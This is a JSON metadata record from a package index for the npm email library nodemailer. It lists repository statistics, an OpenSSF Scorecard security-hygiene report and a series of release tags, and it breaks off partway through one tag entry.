{"id":2106862,"name":"nodemailer","ecosystem":"npm","description":"Easy as cake e-mail sending from your Node.js applications","homepage":"https://nodemailer.com/","licenses":"MIT-0","normalized_licenses":["MIT-0"],"repository_url":"https://github.com/nodemailer/nodemailer","keywords_array":["Nodemailer"],"namespace":null,"versions_count":335,"first_release_published_at":"2011-12-08T11:46:00.690Z","latest_release_published_at":"2026-10-22T13:46:48.749Z","latest_release_number":"10.2.1","latest_published_release_number":"10.2.1","last_synced_at":"2026-10-28T21:23:07.013Z","created_at":"2022-04-09T21:06:06.741Z","updated_at":"2026-10-29T20:19:36.087Z","registry_url":"https://www.npmjs.com/package/nodemailer","install_command":"npm install nodemailer","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"beta":"2.4.0-beta.0","latest":"10.2.1"},"contentPolicy":null},"repo_metadata":{"id":1326912,"uuid":"1272424","full_name":"nodemailer/nodemailer","owner":"nodemailer","description":"✉️ Send e-mails with Node.JS – easy as cake!","archived":false,"fork":false,"pushed_at":"2026-10-22T16:33:01.000Z","size":4779,"stargazers_count":17689,"open_issues_count":2,"forks_count":1437,"subscribers_count":206,"default_branch":"master","last_synced_at":"2026-10-24T01:34:30.868Z","etag":null,"topics":["email","email-sender","nodemailer","rfc822"],"latest_commit_sha":null,"homepage":"http://nodemailer.com/","language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"other","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/nodemailer.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","accessibility":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"claude":"CLAUDE.md","gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null},"funding":{"github":["andris9"],"custom":["https://www.paypal.me/nodemailer"]}},"created_at":"2011-01-19T21:17:36.000Z","updated_at":"2026-10-23T23:01:40.000Z","dependencies_parsed_at":"2026-10-24T01:44:38.800Z","dependency_job_id":null,"html_url":"https://github.com/nodemailer/nodemailer","commit_stats":{"total_commits":903,"total_committers":157,"mean_commits":5.751592356687898,"dds":0.5238095238095238,"last_synced_commit":"f9a92ed5cbaa3ab2e5e17770ccfd5df506643ba5"},"previous_names":["andris9/nodemailer"],"tags_count":333,"template":false,"template_full_name":null,"purl":"pkg:github/nodemailer/nodemailer","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/nodemailer","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/sbom","scorecard":{"id":692653,"data":{"date":"2025-08-11","repo":{"name":"github.com/nodemailer/nodemailer","commit":"8033604aed6d107dd9d44f6ede4508de3393e504"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.3,"checks":[{"name":"Code-Review","score":0,"reason":"Found 2/22 approved changesets -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: topLevel 'contents' permission set to 'write': .github/workflows/release.yaml:7","Warn: no topLevel permission defined: .github/workflows/stale.yml:1","Warn: no topLevel permission defined: .github/workflows/test.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"9 commit(s) and 7 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Pinned-Dependencies","score":2,"reason":"dependency not pinned by hash detected -- score normalized to 2","details":["Warn: third-party GitHubAction not pinned by hash: .github/workflows/release.yaml:16: update your workflow using https://app.stepsecurity.io/secureworkflow/nodemailer/nodemailer/release.yaml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yaml:23: update your workflow using https://app.stepsecurity.io/secureworkflow/nodemailer/nodemailer/release.yaml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yaml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/nodemailer/nodemailer/release.yaml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:10: update your workflow using https://app.stepsecurity.io/secureworkflow/nodemailer/nodemailer/stale.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/nodemailer/nodemailer/test.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:17: update your workflow using https://app.stepsecurity.io/secureworkflow/nodemailer/nodemailer/test.yml/master?enable=pin","Warn: npmCommand not pinned by hash: .github/workflows/test.yml:21","Info:   0 out of   5 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   1 third-party GitHubAction dependencies pinned","Info:   1 out of   2 npmCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":9,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Warn: project license file does not contain an FSF or OSI license."],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/release.yaml:13"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 10 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-22T02:40:44.764Z","repository_id":1326912,"created_at":"2025-08-22T02:40:44.764Z","updated_at":"2025-08-22T02:40:44.764Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":345082042,"owners_count":38479607,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-10-03T21:59:58.778Z","status":"online","status_checked_at":"2026-10-24T02:00:07.043Z","response_time":103,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"nodemailer","name":"nodemailer","uuid":"16486629","kind":"organization","description":"Send e-mails from Node.js – easy as cake!","email":null,"website":"http://nodemailer.com","location":"Tallinn, Estonia","twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/16486629?v=4","repositories_count":41,"last_synced_at":"2026-10-24T11:30:54.163Z","metadata":{"has_sponsors_listing":false,"funding":null},"html_url":"https://github.com/nodemailer","funding_links":[],"total_stars":21989,"followers":146,"following":0,"created_at":"2022-11-02T16:29:34.406Z","updated_at":"2026-10-24T11:30:54.181Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/nodemailer","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/nodemailer/repositories"},"tags":[{"name":"v10.2.1","sha":"8dbff1d5bcc24a86fd120c98eacffba2eccf251c","kind":"commit","published_at":"2026-10-22T13:42:30.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v10.2.1","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v10.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v10.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v10.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v10.2.1/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v10.2.1"},{"name":"v10.2.0","sha":"f656674fe338f7a55f275ca5371458701267cb6d","kind":"commit","published_at":"2026-10-21T19:03:41.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v10.2.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v10.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v10.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v10.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v10.2.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v10.2.0"},{"name":"v10.1.7","sha":"7613a86136aa34c25330a2dff03ef39d9e0dc027","kind":"commit","published_at":"2026-10-18T18:21:26.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v10.1.7","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v10.1.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v10.1.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v10.1.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v10.1.7/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v10.1.7"},{"name":"v10.1.6","sha":"a13654efdc2f943b113541a76d01dc96bfa29259","kind":"commit","published_at":"2026-10-18T12:52:55.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v10.1.6","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v10.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v10.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v10.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v10.1.6/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v10.1.6"},{"name":"v10.1.5","sha":"7ab9ac1df6f8ecb15a0df41bd5ddce415c95b60e","kind":"commit","published_at":"2026-10-18T12:26:51.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v10.1.5","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v10.1.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v10.1.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v10.1.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v10.1.5/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v10.1.5"},{"name":"v10.1.4","sha":"2a7e95294d2a4995a19e9009379daf650cdc80e6","kind":"commit","published_at":"2026-10-18T11:57:25.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v10.1.4","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v10.1.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v10.1.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v10.1.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v10.1.4/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v10.1.4"},{"name":"v10.1.3","sha":"6a1b50f2242be5aa7607f615c080c00e5123fc6c","kind":"commit","published_at":"2026-10-18T10:38:37.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v10.1.3","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v10.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v10.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v10.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v10.1.3/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v10.1.3"},{"name":"v10.1.2","sha":"8454a24ba7ad3b32cca1aed07ae7fc05aa960f19","kind":"commit","published_at":"2026-10-16T11:17:50.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v10.1.2","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v10.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v10.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v10.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v10.1.2/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v10.1.2"},{"name":"v10.1.1","sha":"9396ccac77d4f78c34437eecda2c0cd146fad891","kind":"commit","published_at":"2026-10-14T05:36:47.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v10.1.1","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v10.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v10.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v10.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v10.1.1/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v10.1.1"},{"name":"v10.1.0","sha":"0780032250ad5c566b5d8e6fd56ca8c210e423ec","kind":"commit","published_at":"2026-10-10T07:03:21.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v10.1.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v10.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v10.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v10.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v10.1.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v10.1.0"},{"name":"v10.0.16","sha":"afa881500ed6b239091c4aa13c629bde62b10c7b","kind":"commit","published_at":"2026-10-07T13:40:14.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v10.0.16","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v10.0.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v10.0.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v10.0.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v10.0.16/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v10.0.16"},{"name":"v10.0.15","sha":"c17efc045a8165810a4a6910a6a6d18e705187c8","kind":"commit","published_at":"2026-10-05T10:08:24.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v10.0.15","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v10.0.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v10.0.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v10.0.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v10.0.15/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v10.0.15"},{"name":"v10.0.14","sha":"aefd1da2af1e7c1641d1bdad7852476fcba8a57f","kind":"commit","published_at":"2026-10-03T13:43:25.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v10.0.14","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v10.0.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v10.0.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v10.0.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v10.0.14/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v10.0.14"},{"name":"v10.0.13","sha":"4641de8bf0726b05851d29e66fd9e8bf423fe468","kind":"commit","published_at":"2026-09-30T04:35:30.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v10.0.13","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v10.0.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v10.0.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v10.0.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v10.0.13/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v10.0.13"},{"name":"v10.0.12","sha":"30e4cfd5902fd5da4d1bc76dc8e4bc92d288adef","kind":"commit","published_at":"2026-09-28T09:48:22.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v10.0.12","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v10.0.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v10.0.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v10.0.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v10.0.12/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v10.0.12"},{"name":"v10.0.11","sha":"6a069146ec504048b0becf894bc2fabcb0d5730a","kind":"commit","published_at":"2026-09-27T07:48:26.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v10.0.11","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v10.0.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v10.0.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v10.0.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v10.0.11/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v10.0.11"},{"name":"v10.0.10","sha":"a67b18203defb32f8e890fbb0ba018e826752563","kind":"commit","published_at":"2026-09-14T12:54:24.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v10.0.10","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v10.0.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v10.0.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v10.0.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v10.0.10/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v10.0.10"},{"name":"v10.0.9","sha":"5a35d59f07edc7752633a26a7be92eb5d72d3915","kind":"commit","published_at":"2026-09-12T08:57:57.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v10.0.9","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v10.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v10.0.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v10.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v10.0.9/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v10.0.9"},{"name":"v10.0.8","sha":"618f9129930b1f0e2f93a196034368e5e7a5e811","kind":"commit","published_at":"2026-09-11T17:52:45.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v10.0.8","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v10.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v10.0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v10.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v10.0.8/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v10.0.8"},{"name":"v10.0.7","sha":"29166ff65c1c7073d7c6557e7f77370eb3aa31fd","kind":"commit","published_at":"2026-09-11T15:15:13.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v10.0.7","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v10.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v10.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v10.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v10.0.7/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v10.0.7"},{"name":"v10.0.6","sha":"933d263f3efe76a37f4d78daf52c89b4d70cef8f","kind":"commit","published_at":"2026-09-11T12:58:13.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v10.0.6","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v10.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v10.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v10.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v10.0.6/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v10.0.6"},{"name":"v10.0.5","sha":"4dbeb235f78750ade54468f877165172338584d8","kind":"commit","published_at":"2026-09-11T12:08:58.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v10.0.5","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v10.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v10.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v10.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v10.0.5/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v10.0.5"},{"name":"v10.0.4","sha":"ad54add4c71c3e1745189764bdab2218b9f1b91b","kind":"commit","published_at":"2026-09-11T11:42:21.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v10.0.4","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v10.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v10.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v10.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v10.0.4/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v10.0.4"},{"name":"v10.0.3","sha":"cae865b9d02e2421c517396ab043776f0e65c242","kind":"commit","published_at":"2026-09-10T07:04:04.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v10.0.3","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v10.0.3","dependencies_parsed_a